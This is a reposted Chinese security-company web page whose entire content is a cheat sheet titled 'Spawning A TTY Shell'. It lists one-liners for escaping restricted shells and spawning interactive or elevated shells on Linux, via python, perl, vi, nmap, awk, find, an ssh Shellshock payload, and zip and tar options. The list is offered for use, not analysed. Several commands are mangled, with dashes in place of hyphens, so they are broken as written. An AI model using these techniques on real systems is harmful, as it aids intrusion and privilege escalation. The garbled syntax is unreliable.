Spawning A TTY Shell-逃逸 Linux 各种 Shell 来执行命令_集群智慧网络安全云
全国客户服务热线:4006-054-001 疑难解答:159-9855-7370(7X24受理投诉、建议、合作、售前咨询),173-0411-9111(售前),155-4267-2990(售前),座机/传真:0411-83767788(售后),微信咨询:543646
企业服务导航

Spawning A TTY Shell-逃逸 Linux 各种 Shell 来执行命令

发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370


Spawning A TTY Shell-逃逸 Linux 各种 Shell 来执行命令

python -c 'import pty; pty.spawn("/bin/sh")' echo os.system('/bin/bash') /bin/sh -i perl —e 'exec "/bin/sh";' perl: exec "/bin/sh"; ruby: exec "/bin/sh" lua: os.execute('/bin/sh') From within IRB exec "/bin/sh" From within vi :!bash :set shell=/bin/bash:shell From within nmap !sh From scp: scp -S /path/yourscript x y: AWK: awk 'BEGIN {system("/bin/sh or /bin/bash")}' find: find / -name test -exec /bin/sh or /bin/bash ; ssh: ssh username@IP – t "/bin/sh" or "/bin/bash" ssh username@IP -t "bash –noprofile" ssh username@IP -t "() { :; }; /bin/bash" (shellshock) ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1 (SUID) git 帮助状态下通过!/bin/bash 进入交互式 shell pico -s "/bin/bash"进入编辑器写入/bin/bash 然后按 ctrl + T 键 zip /tmp/test.zip /tmp/test -T –unzip-command="sh -c /bin/bash" tar cf /dev/null testfile –checkpoint=1 –checkpointaction=exec=/bin/bash 文章来源于:lsh4ck's Blog

Spawning A TTY Shell-逃逸 Linux 各种 Shell 来执行命令